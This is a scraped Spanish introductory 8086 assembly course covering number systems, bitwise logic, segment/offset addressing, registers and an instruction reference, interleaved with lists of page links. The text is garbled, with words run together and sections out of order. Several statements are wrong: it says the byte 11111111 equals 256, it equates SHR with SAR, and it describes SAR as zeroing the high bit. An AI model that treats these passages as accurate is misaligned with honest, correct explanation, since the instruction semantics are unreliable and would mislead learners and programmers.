Divide el acumuladorentre el operando,dejandocociente
y resto.El acumuladorseráAXen caso de divisiónde 16
bitsy DX-AXencaso de 32 bits,quedandocociente yresto
enAL-AHy AX-DXrespectivamente.
ESC
ESCape
Sirve para pasar el control del procesadoral copro
HLT
Bloqueael ordenador.
IDIV
Divisiónparanúmerosconsigno
IMUL
Multiplicaciónparanúmerosconsigno.
IN
INputfromport, lee unbyte del puertoque especificael
operandoorigenyloalmacenaenAL. Si el operandodestino
esAX,almacenaun segundobyte enAH(el operandodestino
sólopuede serAXo AL, y el origenDX o un número).
INC
Incrementael operandoenunbyte,sinmodificarel estado
de losflags.
INT
Llama a la interrupcióndel operando(p.ej.,INT21h)
INTO
INTerruptiononOverflow,llamaala interrupción4si el
flagde desbordamiento (overflow) estáactivado.Encaso
de saber con seguridadque noesasí, esun NOPen
realidad.
IRET
InterruptionReturn,sacade lapilaIP y CS y vuelve al
sitiodonde se llamóala interrupción(cadavezque
ejecutamosunainterrupción,el ordenadorefectúaunaserie
de pasos que acaban con este IRET)
JMP
Puede sercorto,cercano o largo,cambiandoIPy a veces
CS con nuevosvalores,osea,transfiriendoel control a
otra parte del programa.
LAHF
CopiaenAH el contenidodel byte menossignificativodel
registrode flags.
LDS
Load Far PointerwithDS,Cargar punterolejanoconDS.Con
estainstrucción,se lee unapalabraenla direcciónindicada
por el origen,copiándose enel registrodestino,yde nuevo
se lee otra,que se almacenaenDS
LEA
Load Effective Adress,Cargardirecciónefectiva;calcula
el offsetdel operandoorigen,yloalmacenaenel destino
(bastante útil conetiquetas,porejemplo).
LES
Load Far PointerwithES;Igual que LDS, sóloque
la segundapalabralaalmacenaenES.
LOCK
Lock the Bus.
Se trata de una instrucciónque se usaprecediendoa
MOV, MOVSo XCHG, y previene delusodel Busmientrasse
ejecutalainstrucciónparaevitarque éste seausadopor
algúneventoexterno,interrupciones,etc.
LODS
LOaD String,cargar cadena.
Si no hay operandos,debe de indicarse conBo W, para
sabersi se operacon byteso palabras.Carga enel
acumuladorel elementoapuntadoporDS:SI,seabyte o
palabra.
LOOP
Bucle,saltaráa la direcciónindicadaensuoperando
(porejemplo,LOOPetiqueta),mientrasCXvalgamásde
1; cuandosu valorllegue aceroel bucle dejaráde
ejecutarse.
MOV
Copiael operandoorigenenel destino,pudiéndose
realizarestascombinaciones:
reg,reg
reg,mem
mem,reg
reg,inmed
mem,inmed
reg16,segrer
regseg,reg16
regseg,mem
MOVS
MOVe String,movercadena
Normalmente,conel operandoB(byte) oW (Word),de
maneraque se transfieraunbyte ouna palabra,MOVSB o
MOVSW transfierenlocontenidoenDS:SIaES:DI
MUL
MULtiply,multiplicar.
Multiplicael acumuladorporel operando;si el operando
puestoenMul esde 16 bits,el acumuladoresAX,si el
operandoenMul esde 8 bits,seráAL.
NEG
Averiguael númeronegativodel operando,osea,invierte
su valor.El cálculose realizainvirtiendotodoslosbits
y sumandounoal resultado.
NOP
No OPeration,nohace nada.
NOT
Invierte losbitsdel operando(1sen0sy viceversa).
OR
Realizaun 'O' lógicoenlos bitsdel operando,cambiando
el valorde estosbits.Comparaunoa uno losbitsde
igual significaciónde losoperandos,ydacomo resultado
1 si uno de ellosolosdos estáa uno,o los dosloestán,
y 0 si losdos estána 0; por ejemplo:
11100100
OR 00101101
11101101
OUT
OUTput to port,Salidaa puerto.
Escribe el contenidode AXoAL (losdos únicosoperandos
origenque se puedenusarconesta instrucción) enel
puertoespecificadoporel operandodestino(DXoun
númerodirecto).
POP
Saca del valoroperandode la pila
POPF
Saca de lapilael registrode flags
PUSH
Empujaa lapilael valoroperando
PUSHF
Empujael registrode flagsa la pila
RCL
Rotate withCarry Left(Rotar a la izquierdaconacarreo).
Copiaencada bitdel operandoel contenidodelque se
hallaa su derecha,yen el de menorel contenidodel flag
de acarreo; enéste se copia el bitde mayor peso.
RCR
Rotate withCarry Right(Rotar a la derechaconacarreo).
Copiaencada bitdel operandoel contenidodelque se
encuentraa suizquierda,yenel bitde mayor pesoel
contenidodel flagde acarreo;enel flagde acarreo el
bitde menorpeso.
REP
REPeat
Utilizadasinoperandos,repiteunaoperacióntantasveces
como el valorde CX, decrementándolocadavez(puede
usarse como delay,aunque pocoefectivamente).
Se utilizatambiénconoperandoscomoMOVSWpor ejemplo,
para realizarCXvecesla operaciónindicada.
Existentambiéndosvariantesde estainstrucción;REPE
y REPNE (REPeatif Equal,REPeatif NotEqual),atendiendo
al estadode losflags.
RET
RETurn
Se utilizaparavolverde una subrutinallamadaconun
Call;estaordensaca de lapilael valorde IP,o de IP
y CS, para retornaral lugardesde el que se le llamó.
ROL
ROtate Left
Copiaencada bitdel operandoel contenidodelque se
hallaa su derecha,copiandoenel bitde menorpesoel
contenidodel de mayorpeso.
ROR
ROtate Right
Copiaencada bitdel operandoel contenidodelque se
hallaa su izquierda,copiandoenel bitde mayorpesoel
contenidodel de menorpeso.
SAHF
Store AH inFlags,AlmacenarAHen losflags.
Copiael contenidode AHenel byte de menorpesodel
registrode flags.
SAL
ShiftAritmeticLeft
Su sintaxises[SALdestino,número],mueve losbytesdel
registrohaciala izquierda,copiandoencadauno el
contenidode aquel que estabaasu derecha.El byte de
menorpesose pone a cero, yel mayor se copia enel flag
de acarreo.
SAR
ShiftAritmeticRight
Realizalasmismasoperacionesque SAL,peroal revés,o
sea,cada bit copiael valordel de su izquierda,el de
mayor pesoquedaacero, y el de menorse copia al flag
de acarreo.
SBB
SuBstract withBorrow
Restael operandoorigenyel flagde acarreo del
operandodestino,almacenádose el resultadoenel operando
destino.
SCAS
SCAnString,Examinarcadena.
Se acompaña de una B o W detráscuandono existe operando
para indicarel tamaño(Byte o Word).
Restael operandodestino,que estáindicadopor ES:DI
del acumulador(sinrealizaralmacenamientodel resultado),
y enfunciónde elloactualizalosflags.
El operandopuede llevarprefijode segmento,que
sustituiráaES como prefijodel operandodestino.DIirá
incrementándose/decrementándose.
SHL
SHiftLeft
Igual que SAL.
SHR
SHiftRight
Exactamente igual que SAR.
STC
SeT Carry flag,Activarflagde acarreo
Activael flagde acarreo (lopone a uno).
STD
SeT Directionflag,Activarflagde dirección.
Lo pone a uno.
STI
SeT Interrupts,Activarinterrupciones.
Activalasinterrupciones.
STOS
STOre String
Normalmente se usaconB o W al final para indicarel
tamaño,byte o palabra(esencialmente si nose especifica
ningúnoperando).Sufunciónescopiarel contenidodel
acumulador(ALo AX) enES:DI. El operandopuede llevarun
prefijode segmento,que se usaráenlugarde ES.
SUB
SUBstract, resta.
El objetivode estainstrucciónconsiste enrestaral
operandodestinoel contenidodel origen,conservándose
el resultadoeneste operandodestino.
TEST
TEST, Comparar.
Comparamediante unANDlógicolosoperandosorigeny
destino;noalmacenalosresultados,perosímodificalos
flags.
WAIT
El ordenadorentraenun estadode espera,que se verá
activadocuandoel 'test' inputenel microprocesadorsea
activado.
XCHG
eXCHanGe (intercambiar).
Intercambialosvaloresde losregistros,porejemploen
un XCHG AX,BX,trasla operaciónBXcontendríaal antiguo
AX,y viceversa.
XLAT
AlmacenaenALun byte de la direcciónde memoriaformadaporDS
y la sumade BXy AL. Se puede indicarunoperandopara
especificarel segmentoenvezde DS
XOR
eXclusive OR.
RealizaunOR (O) excluyente entre el origenyel
destino;comparaunoa uno losbitsde los dosoperandos,
resultandoun1 tan sólosi uno y sólounode losdosbits
comparadoses1, y ceroen el restode loscasos.
Sería así:
11010101
XOR 01011011
10001110
registro,registro
............................................................................................................
14.- APENDICE B. NUMERACIONNEGATIVA
Esta es unaparte del cursoque quizá debierahaberidoantes,
peropor su complicaciónparalagente enfase de aprendizaje,he preferido
incluirlacomoapéndice.
¿Comose representanmediantelenguajeEnsambladorlosnúmeros
negativos?
El sistemautilizadoesel denominado“aritméticade complementoados”.
Se pasó bastante tiempopensandoencuál seríael métodoideal para
realizareste cometido,siendocondiciónprincipal que lassumasyrestas
diesenresultadoslógicos;osea,que -x+x sumasen0,por ejemplo.
Si al númerobinario00000000 le restamos00000001, el resultadoserá
11111111, ya que enun byte al pasar del númeromásbajoa uno"negativo",sale el númeromásalto.
Por tanto,11111111 representaráal '-1', así como 11111110 al -2, y
así hasta llegaral 10000000, que seráel -128. El númeroexactamente
anterior,el 01111111, seráel 127 entonces,y‚estonospermitirácomprobar
cuándoun númeroesnegativotansóloviendosi suprimerbitestáo no
a uno.
Así visto,éstasseríanalgunasrepresentaciones:
00000001 ---->1
00000011 ---->3
01111111 ---->127
11111111 ---->-1
11111110 ---->-2
10000000 ---->-128
Y vistoesto,¿cuál es lamanera másrápida de saberel valorde un
númeronegativo?Esbienfácil;se dala vueltaatodos losbitsdel byte
(o de la palabra),yse suma uno:ese seráel número
representadosinsigno.
Por ejemplo, el número10111011, que sabemosque esnegativo,(si estamos
trabajandocon númerosnegativos),porel 1 enel bitde mayor peso:
Se le da la vuelta:01000100, o sea,68 decimal,yse le suma 1. Por
tanto,el número10111011 cuandotrabajemosconnúmeroscon signoesel -69
© 1998 Javier de Lucas Linares

Más contenido relacionado

La actualidad más candente

Herramienta de autoría de dvd dv dlab1
Herramienta de autoría de dvd dv dlab1Herramienta de autoría de dvd dv dlab1
Herramienta de autoría de dvd dv dlab1
Construcy
 
Matlab 2
Matlab 2Matlab 2
Matlab 2
jmh700
 
Sentencias de Repeticion
Sentencias de RepeticionSentencias de Repeticion
Sentencias de Repeticion
Kenyi Figueroa
 
Guiaunidad iii
Guiaunidad iiiGuiaunidad iii
Guiaunidad iii
mayral
 
Organización y Arquitectura de Computadores ESPOL Tercera Evaluación 2012-2
Organización y Arquitectura de Computadores ESPOL Tercera Evaluación 2012-2Organización y Arquitectura de Computadores ESPOL Tercera Evaluación 2012-2
Organización y Arquitectura de Computadores ESPOL Tercera Evaluación 2012-2
Ronny Morán
 
Control de flujo bucles
Control de flujo buclesControl de flujo bucles
Control de flujo bucles
Omar Grano
 

La actualidad más candente (20)

Herramienta de autoría de dvd dv dlab1
Herramienta de autoría de dvd dv dlab1Herramienta de autoría de dvd dv dlab1
Herramienta de autoría de dvd dv dlab1
 
PROCESAMIENTO EN PANTALLA Y TECLADO BASICO
PROCESAMIENTO EN PANTALLA Y TECLADO BASICOPROCESAMIENTO EN PANTALLA Y TECLADO BASICO
PROCESAMIENTO EN PANTALLA Y TECLADO BASICO
 
Python conventions
Python conventionsPython conventions
Python conventions
 
Matlab 2
Matlab 2Matlab 2
Matlab 2
 
Practica 2
Practica 2Practica 2
Practica 2
 
021 056
021 056021 056
021 056
 
Fem49v5.3 ejemplos
Fem49v5.3 ejemplosFem49v5.3 ejemplos
Fem49v5.3 ejemplos
 
Cap I
Cap ICap I
Cap I
 
Sentencias de Repeticion
Sentencias de RepeticionSentencias de Repeticion
Sentencias de Repeticion
 
07 - Tipos de datos definidos por el programador en lenguaje C: struct, typed...
07 - Tipos de datos definidos por el programador en lenguaje C: struct, typed...07 - Tipos de datos definidos por el programador en lenguaje C: struct, typed...
07 - Tipos de datos definidos por el programador en lenguaje C: struct, typed...
 
Guiaunidad iii
Guiaunidad iiiGuiaunidad iii
Guiaunidad iii
 
5 curso
5 curso5 curso
5 curso
 
Instrucciones de control de salto
Instrucciones de control de saltoInstrucciones de control de salto
Instrucciones de control de salto
 
Unidad 2 ensamblador
Unidad 2   ensambladorUnidad 2   ensamblador
Unidad 2 ensamblador
 
Hack x crack_batch2
Hack x crack_batch2Hack x crack_batch2
Hack x crack_batch2
 
Tutorial matlab
Tutorial matlabTutorial matlab
Tutorial matlab
 
Organización y Arquitectura de Computadores ESPOL Tercera Evaluación 2012-2
Organización y Arquitectura de Computadores ESPOL Tercera Evaluación 2012-2Organización y Arquitectura de Computadores ESPOL Tercera Evaluación 2012-2
Organización y Arquitectura de Computadores ESPOL Tercera Evaluación 2012-2
 
Funciones en programación
Funciones en programaciónFunciones en programación
Funciones en programación
 
Conecta 4 en C
Conecta 4 en CConecta 4 en C
Conecta 4 en C
 
Control de flujo bucles
Control de flujo buclesControl de flujo bucles
Control de flujo bucles
 

Similar a Codigo binario

El mundo digital en las computadoras
El mundo digital en las computadorasEl mundo digital en las computadoras
El mundo digital en las computadoras
Alfonso
 

Similar a Codigo binario (20)

Eventos digitales y analógicos
Eventos digitales y analógicos Eventos digitales y analógicos
Eventos digitales y analógicos
 
Eventos digitales y analógicos
Eventos digitales y analógicosEventos digitales y analógicos
Eventos digitales y analógicos
 
SISTEMAS DE NUMERACIÓN INFORMÁTICA
SISTEMAS DE NUMERACIÓN INFORMÁTICA SISTEMAS DE NUMERACIÓN INFORMÁTICA
SISTEMAS DE NUMERACIÓN INFORMÁTICA
 
Eventos digitales y analógicos
Eventos digitales y analógicosEventos digitales y analógicos
Eventos digitales y analógicos
 
Eventos digitales y analógicos
Eventos digitales y analógicosEventos digitales y analógicos
Eventos digitales y analógicos
 
Eventos digitales y analógicos
Eventos digitales y analógicosEventos digitales y analógicos
Eventos digitales y analógicos
 
Eventos digitales y analógicos
Eventos digitales y analógicosEventos digitales y analógicos
Eventos digitales y analógicos
 
Eventos digitales y analógicos (tema 2)
Eventos digitales y analógicos (tema 2)Eventos digitales y analógicos (tema 2)
Eventos digitales y analógicos (tema 2)
 
Eventos digitales y analógicos (tema 2)
Eventos digitales y analógicos (tema 2)Eventos digitales y analógicos (tema 2)
Eventos digitales y analógicos (tema 2)
 
Microcontroladores AVR y Arduino: Programación del microatmega328p en ensambl...
Microcontroladores AVR y Arduino: Programación del microatmega328p en ensambl...Microcontroladores AVR y Arduino: Programación del microatmega328p en ensambl...
Microcontroladores AVR y Arduino: Programación del microatmega328p en ensambl...
 
9. LIBRO SISTEMAS SECUENCIALES PROGRAMABLES - AUTOMATI EMERSON EDUARDO RODRIGUES
9. LIBRO SISTEMAS SECUENCIALES PROGRAMABLES - AUTOMATI EMERSON EDUARDO RODRIGUES9. LIBRO SISTEMAS SECUENCIALES PROGRAMABLES - AUTOMATI EMERSON EDUARDO RODRIGUES
9. LIBRO SISTEMAS SECUENCIALES PROGRAMABLES - AUTOMATI EMERSON EDUARDO RODRIGUES
 
Eventos digitales y analógicos
Eventos digitales y analógicosEventos digitales y analógicos
Eventos digitales y analógicos
 
El mundo digital en las computadoras
El mundo digital en las computadorasEl mundo digital en las computadoras
El mundo digital en las computadoras
 
Portafolio Digital: Introducción a la Informática
Portafolio Digital: Introducción a la InformáticaPortafolio Digital: Introducción a la Informática
Portafolio Digital: Introducción a la Informática
 
Eventos digitales y analógicos
Eventos digitales y analógicosEventos digitales y analógicos
Eventos digitales y analógicos
 
Eventos digitales y analógicos
Eventos digitales y analógicosEventos digitales y analógicos
Eventos digitales y analógicos
 
Eventos digitales y analógicos
Eventos digitales y analógicosEventos digitales y analógicos
Eventos digitales y analógicos
 
Eventos Digitales
Eventos DigitalesEventos Digitales
Eventos Digitales
 
Eventos digitales y analogicos
Eventos digitales y analogicosEventos digitales y analogicos
Eventos digitales y analogicos
 
Eventos digitales y analógicos
Eventos digitales y analógicosEventos digitales y analógicos
Eventos digitales y analógicos
 

Codigo binario

  • 1. CODIGOBINARIO 1.- SISTEMAS NUMERICOS 2.- OPERACIONES CON BYTES 2.1.- AND 2.2.- OR 2.3.- XOR 2.4.- NOT 3.- EL JUEGODE REGISTROS 4.- COMENZAMOS 5.- OPERACIONES 5.1.- INCy DEC 5.2.- ADD y SUB 5.3.- NEG y NOT 5.4.- MUL yDIV 6.- FLAGS 6.1.- Instruccionesde comparación(CMPyTEST) 7.- LAS INSTRUCCIONESDE SALTO 7.1.- Saltosincondicionales 7.2.- Saltoscondicionales 7.3.- Bucles 8.- LA PILA 8.1.- La ordenCALL 9.- INTERRUPCIONES 10.- RESTO DE ORDENES 10.1.- XCHG 10.2.- LEA 10.3.- LDS y LES 10.4.- DELAYs
  • 2. 10.5.- Instruccionesde cadena 10.6.- Datos 10.7.- Accesoa puertosI/O 10.8.- Anulaciónde interrupciones 11.- ESTRUCTURA COM 12.- ESTRUCTURA EXE 13.- APENDICE A: JUEGODE INSTRUCCIONES 14.- APENDICE B: NUMERACION NEGATIVA ...................................................................................................................................... 1.- SISTEMAS NUMERICOS Comencemosporlossistemasde numeraciónque másutilizaremosal programar. El básicova a ser el sistemahexadecimal,aunquedebemosde explicar antesel binario,el sistemade numeraciónque utilizael ordenador. Los númerosque conocemosestánescritosenbase 10. Estosignificaque tenemos,desdeel 0hasta el 9, diezsímbolospara representarcadacifra. Es decir,cada cifra irá de 0 a 9, y al superarel valor"9", cambiará a 0 y sumaráuno a su cifrade la izquierda:9+1:10. El sistemabinarioutilizatansólodossímbolos,el "0"y el "1". Imaginemosque tenemosel númerobinario"0".Al sumarle unaunidad, este númerobinariocambiaráa"1". Sinembargo,si volvemosaañadirle otra unidad,este númeroenformatobinarioseráel "10" (aumentala cifra a la izquierda,que era0,y la anteriortomael valormínimo). Sumemos ahoraotra unidad:el aspectodel númeroserá"11" (tresen decimal).Ypodríamosseguir: Binario:0 ; 1 ; 10 ; 11 ; 100 ; 101 ; 110; 111 ; 1000 ; 1001 ; 1010,... Decimal:0 1 2 3 4 5 6 7 8 9 10 Esto nospermite establecerunsistemabastante sencillo de conversión
  • 3. del binarioal decimal; He aquí losvaloressiendonel valorde lacifra: Ciframenossignificativa: n*2^0 = 1 si n=1 o 0 si n=0 Segundacifra: n*2^1 = 2 si n=1 o 0 si n=0 Tercera cifra: n*2^2 = 4 si n=1 o 0 si n=0 Cuarta cifra: n*2^3 = 8 si n=1 o 0 si n=0 Etc.,... Y así continuaríamos,aumentandoel númeroal que se eleva2.Traduzcamos entoncesel númerobinario'10110111' 2^7+ 0 +2^5+2^4+ 0 +2^2+2^1+2^0 = 128 + 0 + 32 + 16 + 4 + 2 + 1 = 183 1 0 1 1 0 1 1 1 De todosmodos,estatransformaciónestáexpuestasimplemente paraque se comprendacon másclaridadcómo funcionanlosnúmerosbinarios.Esmucho más aconsejable el usode unacalculadoracientíficaque permitarealizar conversionesentredecimales,hexadecimalesybinarios.Se hace suuso ya casi imprescindible al programar. La razóndel usode losnúmerosbinariosessencilla.Esloque entiende el ordenador,yaque interpretadiferenciasde voltaje comoactivado( 1 ) o desactivado( 0 ), aunque nolodetallará. Cadabyte de informaciónestá compuestoporocho dígitosbinarios,ya cada cifra se le llamabit.El númeroutilizadoenel ejemplo,el 10110111, sería un byte,ycada una de sus ochocifras,un bit. Y a partirde ahora,cuando escribaunnúmerobinario,lohará conla notaciónusual,conuna "b" al final del número(ej.:10010101b)
  • 4. Ahorapasamosal hexadecimal,muyutilizadoenEnsamblador.Se tratade un sistemade numeraciónenbase dieciséis.Portanto,haydieciséis símbolospara cada cifra,y envezde inventarse paraellonuevossímbolos, se decidióadoptarlasprimerasletrasdel abecedario.Porlotanto, tendremosahora: Hex Dec 1 -->1 2 -->2 3 -->3 4 -->4 5 -->5 6 -->6 7 -->7 8 -->8 9 -->9 A -->10 B --> 11 C --> 12 D --> 13 E --> 14 F --> 15 10 --> 16 11 --> 17 Etc.,... Comovemos,este sistemanosplanteasbastantesproblemasparala conversión.Repitiendolodicho,unacalculadoracientíficanosseráimprescindible. ¿Por qué utilizareste sistema?.Volvamosal byte,y traduzcamossu valormás alto,"11111111". Resultaser256. Ahora pasemos
  • 5. estacifra al sistemahexadecimal,ynosresultará "FF".Obtenemosun númeromáscomprensible que el binario(difícil de recordar),yante todo muchomás compacto,en el que doscifras nosrepresentaráncadabyte. Podremosademástraducirfácilmente el binarioahexadecimal conesta tabla;cada cuatro cifrasbinariaspuedentraducirse al hexadecimal: º Binarioº Hexadecimal º 0000 º 0 0001 º 1 0010 º 2 0011 º 3 0100 º 4 0101 º 5 0110 º 6 0111 º 7 1000 º 8 1001 º 9 1010 º A 1011 º B 1100 º C 1101 º D 1110 º E 1111 º F Por ejemplo,el númerobinario: 1111001110101110 En hexadecimal sería: 1111 0011 1010 1110 F 3 A E Para referirnosaunnúmerohexadecimalsinespecificarlo,usaremosla
  • 6. notaciónque se suele usaral programar, con un 0 al principio,(necesario cuandohay letras),yuna h al final.Porejemplo,el númeroanteriorsería 0F3AEh ............................................................................................................................ 2.- OPERACIONES CON BYTES Hay cuatro operacionesbásicasque se puedenrealizarconunnúmero binario,ycoincidenconoperacionesde lalógicamatemática,conloque cualquieraque lahayaestudiadotendrá ciertaventajaparaentenderla. Para explicarlas,llamaremosal valor0 resultado"falso",yal valor1 "verdadero".LasoperacionessonAND,OR,XORy NOT 2.-1.- AND Es un 'y' lógico.Se realizaentre doscifras binariasconfrontandocada cifra consu correspondiente,yel resultadoserá"1"si las dosson verdaderas(si lasdosvalen"1"),y "0" (falso) enel restode los casos. 1.numero2.numeroResultado 1 1 1 1 0 0 0 1 0 0 0 0 Volvemosalalógicapara explicarlomásclaramente:Imaginemoslafrase: "El hombre esunmamíferoy camina erguido".El hechode que el hombre sea un mamíferoescierto( 1 ), y el de que camine erguido,otro( 1 ).Por lotanto, al unirlosmediante unaconjunción( 'y'o 'AND' ),resultaque ya que se dan las dos,laoración esverdadera. Pongamosunejemplomáscomplejo.QueremosrealizarunANDlógicoentre dos bytes: 11011000 AND01101001
  • 7. Observemosloque sucede: 11011000 216 AND01101001 En sistemadecimal sería:AND105 -------- (aunqueensistemadecimal --- 01001000 esmás complejo).72 Cuandocoincidendosvaloresde "verdad",el resultadoes"verdad", si uno esfalso,el resultadoes"falso"(noesverdadque "El hombre esun mamíferoy respiradebajodel agua"),ysi losdos sonfalsos,el resultadoesfalso(noesciertoque "El hombre esun ave y respira debajodel agua") 2.-2.- OR El "o" lógico.El resultadoes"verdadero"cuandoal menosunode los factoresesverdadero.Osea,es"1" cuandoal menosunode losdos factores es"1". Sería como lafrase "Voya buscarel discoo el cd", donde que uno seaciertono significaque el otronolosea;es ciertala frase, esverdaderamientrasunode lostérminossean verdaderos. Operemosconlosnúmeros"10100110" y "01101100": 10100110 OR 01101100 11101110 Comohemosvisto,el valor1 ( verdadero) quedaenlascifrasde las que,confrontadas,al menosunaesverdadera.Sóloresulta0( falso) si losdos númerosconfrontadosson0( falsos). 2.-3.- XOR "Or" exclusivo.Se tratade una ordenparecidaal OR,tan sóloque la verdadde una excluye lade laotra.El resultado,portanto,es"1" (verdad) cuandounoy sólounode losdos númerosesverdadero(yel
  • 8. otro falso,claro).Seríacomo laoración "O vivooestoymuerto":para que seacierta se tiene que daruna de las dos,peronunca lasdos o ninguna. 10111001 XOR 01011101 11100100 La ordenXORva a ser bastante útil enencriptación,comoyaveremosmásadelante. 2.-4.- NOT Esto se aplicasobre un solonúmero,yentérminosde lógicaseríala negaciónde unaoración,o sea,si el númeroal que se aplica es1, el resultadoes0, y viceversa.Entérminosde lógicamatemática,aplicándolo a una oración,sería por ejemplo"Noesverdadque tengaganasde estudiar y de no dormir",negandolasotrasdos que encaso contrario seríanverdad: NOT 11100110 00011001 Tan sólo,por si alguiennoloconoce,quierodetallarel modode almacenamientodel ordenador,incluyendolomástemidoporel iniciadoen Ensamblador,ymás engorrosoparael programador: SegmentsyOffsets. La unidadmínimade informaciónesel bit.Suestado,comovimos anteriormente,puedeser1o 0. Un conjuntode ocho bits,formanun byte.De ellos,el de laderecha esel menossignificativo(suvaloresmenor),yel de mása la izquierda el más significativo. Un Kbyte esun conjuntode 1024 (que no1000) bytes.Igualmente,un MegaByte serán1024 kbytes,o1024*1024=1048576 bytes. Otro términoque utilizaremosamenudo,espalabra,o"word".Una "palabra",esun conjuntode dosbytes,yse utilizaporque amenudose operacon ellasenlugarde bytes.
  • 9. Y ahora, veamoslossegmentsyoffsets. Resultaque hubountiempo,cuandolosdinosauriosdominabanlatierra, enel que a "alguien"se le ocurrióque con640K deberíade bastarnospara hacerlotodo.Y bien,poraquí vienenlosproblemas. El ancho de busde direcciones,paralocalizarunpuntoenmemoria,es de 20 bits.Porlotanto, el númeromáximode direccionesde memoriaalas que podremosaccederserá1 Mb. Perocomo veremos,20bitsno son ni 2 bytes ni 3, sinoalgoasó como 2 y medio.El problemaesordenarlosparaque el procesadorconozcala direcciónde memoria. Necesitaremosparaconoceruna posiciónde memoria,cuatrobytes combinadosde unacuriosamanera. Imaginemoslosdosbytesinferiores.Sumayorvalorpuede ser0FFFFh (poneruncero delante esunaconvención,paraque loentiendanlos ensambladores,al igual que lahal final indicandoque esunnúmero hexadecimal).Estonosdaacceso a 64Kb de memoria,que se consideraun bloque.También,apartirde ahora,llamaremosOffsetaladirección indicadaporestosdos bytes. Ahoraquerremosmásmemoriaque 64 Kb.Y para esotenemoslos otros dosbytes.Paraformar la direccióncompleta,se tomanlos16 bits del registrode segmentoyse sitúanenlos16 bitssuperioresde la direcciónde 20 bits,dejandolosotroscuatroa cero. Es como si añadiésemoscuatrocerosala derecha.Sumamosentoncesaeste valorde 20 bitsel Offset,resultandoladirecciónreal de memoria. Veamosunaexplicaciónmásgráfica. Seael valor de Segmento0Ah(osea,10 decimal o1010b, binario). Y el del Offsetdigamosque vaa valer(enbinario) 01011111 00001010. La sumapara obtenerladirecciónde memoriasería: 0000 0000 0000 1010 0000 (segmentomultiplicado*16,con4 cerosmás)
  • 10. + 0101 1111 0000 1010 ( el offset) 0000 0101 1111 1010 1010 Y ésta sería ladirección"real"de memoria( 05FAAho 24490 Dec ).Como Puede observarse,ycomocuriosidadfinal,distintossegmentsyoffsets especificandireccionesde memoriadistintas;porejemplo,lospares 0040h:0000 (donde el primero esel Segmentyel segundoel Offset,así lotomaremosa partir de ahora),son igualesque 0000:0400h, y los dos se referiríana la mismaposiciónde memoriafísica,la0400h o 1024d. ......................................................................................................................... 3.- EL JUEGODE REGISTROS Hay algunaspreguntasque podríamoshacernosahora:el SegmentyOffset, ¿dónde se guardan,que indicaal ordenadoresossitios enmemoria,qué indicaal ordenadorenqué puntode la memoriaestá y qué tiene que ejecutar?Puesbien,paraestoymuchomás sirvenlosregistros. Se trata de una serie de "variables",que contieneninformaciónque puede sercambiada. Comenzaremosporlosde segmentoyoffsetactual:CSe IP. El registroCSes unavariable de untamaño de dos bytes.Contiene el Segmentoactual enque se encuentrael programa.IP,esla variable,de dos bytestambién,que contieneel Offsetactual.Estosignificaque el ordenadorvainterpretandolassecuenciasde bytes,peronecesita"algo" que le indique dónde tiene que leer.LacombinaciónCS:IP(tal ycomo me referíantesen lode Segments&Offsets),contieneladirecciónenla que el ordenadorestáinterpretandoinformación"enel momento".Osea, indicaladirecciónde lapróximainstrucciónque se vaa ejecutar. El registroDSy el registroES tambiénsirvenparaguardar direcciones de Segmentos,ytambiénsonvariablesde dosbytes;seránutilizadospara, por ejemplo,moverdatosenmemoria,imprimircadenas,etc.
  • 11. Digamosque son"punteros",que apuntana ciertazonade memoria(siemprecombinadoconotroque hagade Offset). El registroSSapunta a la pila,yel SP esel que contiene el offset de la pila,peroestoloexplicaremosmásadelante. Luegotenemosunaserie de registrosque utilizaremosmáscomúnmente: AX,BX, CXy DX. Todas ocupandos bytes,yse puedenutilizardivididasendospartesde longitudunbyte,cambiandode nombre.AXse divideenAHy AL,BX en BH y BL, CXen CH y CL y DX enDH y DL. La 'H' se refiere aHigheninglés, alto(de mayor valor),yla 'l' a Low (de menorvalor).Veamosunailustración: AX 11010110 10111000 AH AL Las funcionesde estoscuatroregistrossondiferentes:AXse suele utilizarcomopropósitogeneral;indicafunciónalasinterrupciones,etc., y esel más flexible,yaque seráel únicoque permitamultiplicaciones y divisiones.Se denominaavecesacumulador. BX nosservirámuchocomo "handler",paraabrir/cerrararchivos,etc.,y como registrode propósitogeneral al igual que AX,CXyDX. CX se suele usarcomocontador. DX suele serel puntero,señalandohaciendoel papelde Offsetlugares enmemoria(suele combinarse conDSenla formaDS:DX) Y nos quedanyasólotres registros,BP,SIy DI, que sontambién punteros.SIy DI losutilizaremosamenudoparacopiar bytesde unlado a otro, etc.Ni que decirque,como el restode registros,contienendos bytes.Igual sucede conBP,de otros dos bytesde tamaño. ............................................................................................................ 4.- COMENZAMOS
  • 12. Por finvamosa empezarconórdenesenensamblador.Ycomenzaremoscon la más sencilla,perocuriosamente lamásutilizadaeneste lenguaje: La ordenMOV. La funciónde laordenMOV es,comosu nombre da a entender,"mover"un valor.Pongamosunejemplo: MOV AX,BX Esta ordenenlenguaje Ensamblador,copiaráel contenidode BXenAX, conservandoel valorde BX.He aquí algúnejemplomás: MOV AX,DS MOV ES,AX MOV DX,AX MOV AL,DH Comose ve,nose puede realizarMOV AL,BX,yaque enAL no cabe BX Tambiénse puede introducirunvalordirectamente enunregistro.Sería el caso de: MOV AX,0FEA2h MOV BL,255 MOV DH,01110101b Pongamosejemplosde cómose utilizalanumeración.El primero era unnúmerohexadecimal,el segundodecimal,que novaacompañadopor nada para indicarlo,yel tercerobinario,conlab al final.A veces, para representarunnúmerodecimal,se pone una'd'al final (p.ej.,10d) Más utilidadesde MOV.Podemostransferirbytesque esténenmemoria a un registro,ode unregistroa memoria.Vayamosconlosejemplos: MOV AX,[BX] Y pongamosque enBX esté 0EEEEh. En vezde transferira AXel valor 0EEEEh, le transferiremosel valorque hayaenlaposiciónde memoria CS:BX;si CS por ejemplovale 0134h y BX 03215h, transferiríamosel byte
